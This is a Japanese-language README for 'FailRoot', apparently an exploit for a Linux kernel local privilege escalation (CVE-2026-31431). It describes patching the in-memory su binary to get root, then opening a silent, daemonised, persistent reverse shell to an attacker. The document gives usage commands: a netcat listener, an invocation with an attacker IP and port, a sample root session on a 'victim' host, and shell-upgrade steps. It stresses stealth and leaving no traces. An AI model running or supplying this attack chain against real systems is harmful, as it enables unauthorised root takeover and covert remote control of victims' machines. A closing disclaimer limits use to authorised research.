CVE-2026-31431-REVSHELL

  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

概要

FailRoot は、Linuxカーネルの crypto: algif_aead サブシステムにおける領域外書き込みである CVE-2026-31431 を悪用する、実戦向けエクスプロイトです。

権限昇格 と、完全なPTYを備えたデーモン化されたrootリバースシェルを連鎖させます:

AF_ALG + splice()  →  4バイトのページキャッシュ書き込み  →  /usr/bin/su のパッチ  →  root

エクスプロイト全体は単一ファイルに収まります。コンパイル不要。外部依存関係なし。ディスク上に痕跡なし — su バイナリはメモリ内でのみパッチされます。

機能

1. 即座にデーモン化 — 二重フォーク、ターミナルから分離、即座にプロンプトを返す
2. カーネルモジュールをロード — 複数のフォールバック戦略による algif_aead + authencesn
3. CVE-2026-31431 を悪用 — 制御された4バイトを /usr/bin/su のページキャッシュに書き込む
4. root PTYリバースシェルを起動 — pty.spawn("/usr/bin/su") → 完全対話型のroot TTY

リバースシェルはターミナルが閉じても生存し（SIGHUP 無視）、ターゲット上では出力を一切表示せず、最大3分間リトライしながら接続します。

使用方法

# 攻撃者 — リスナーを起動:
nc -lvnp 4444

# ターゲット — エクスプロイトを実行（何も表示されず、即座にデーモン化します）:
python3 exploit.py <ATTACKER_IP> 4444

attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

TTYアップグレード（攻撃者側、シェル内で実行）

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

影響を受けるカーネル

要件

• Python >= 3.10（os.splice()）
• /usr/bin/su への読み取りアクセス（全ディストリビューションでワールドリーダブル）
• カーネルモジュール algif_aead と authencesn が利用可能
• sudo は不要

作者

danimrtzp

免責事項

認可されたセキュリティ研究および教育目的のみに使用してください。不正使用は違法です。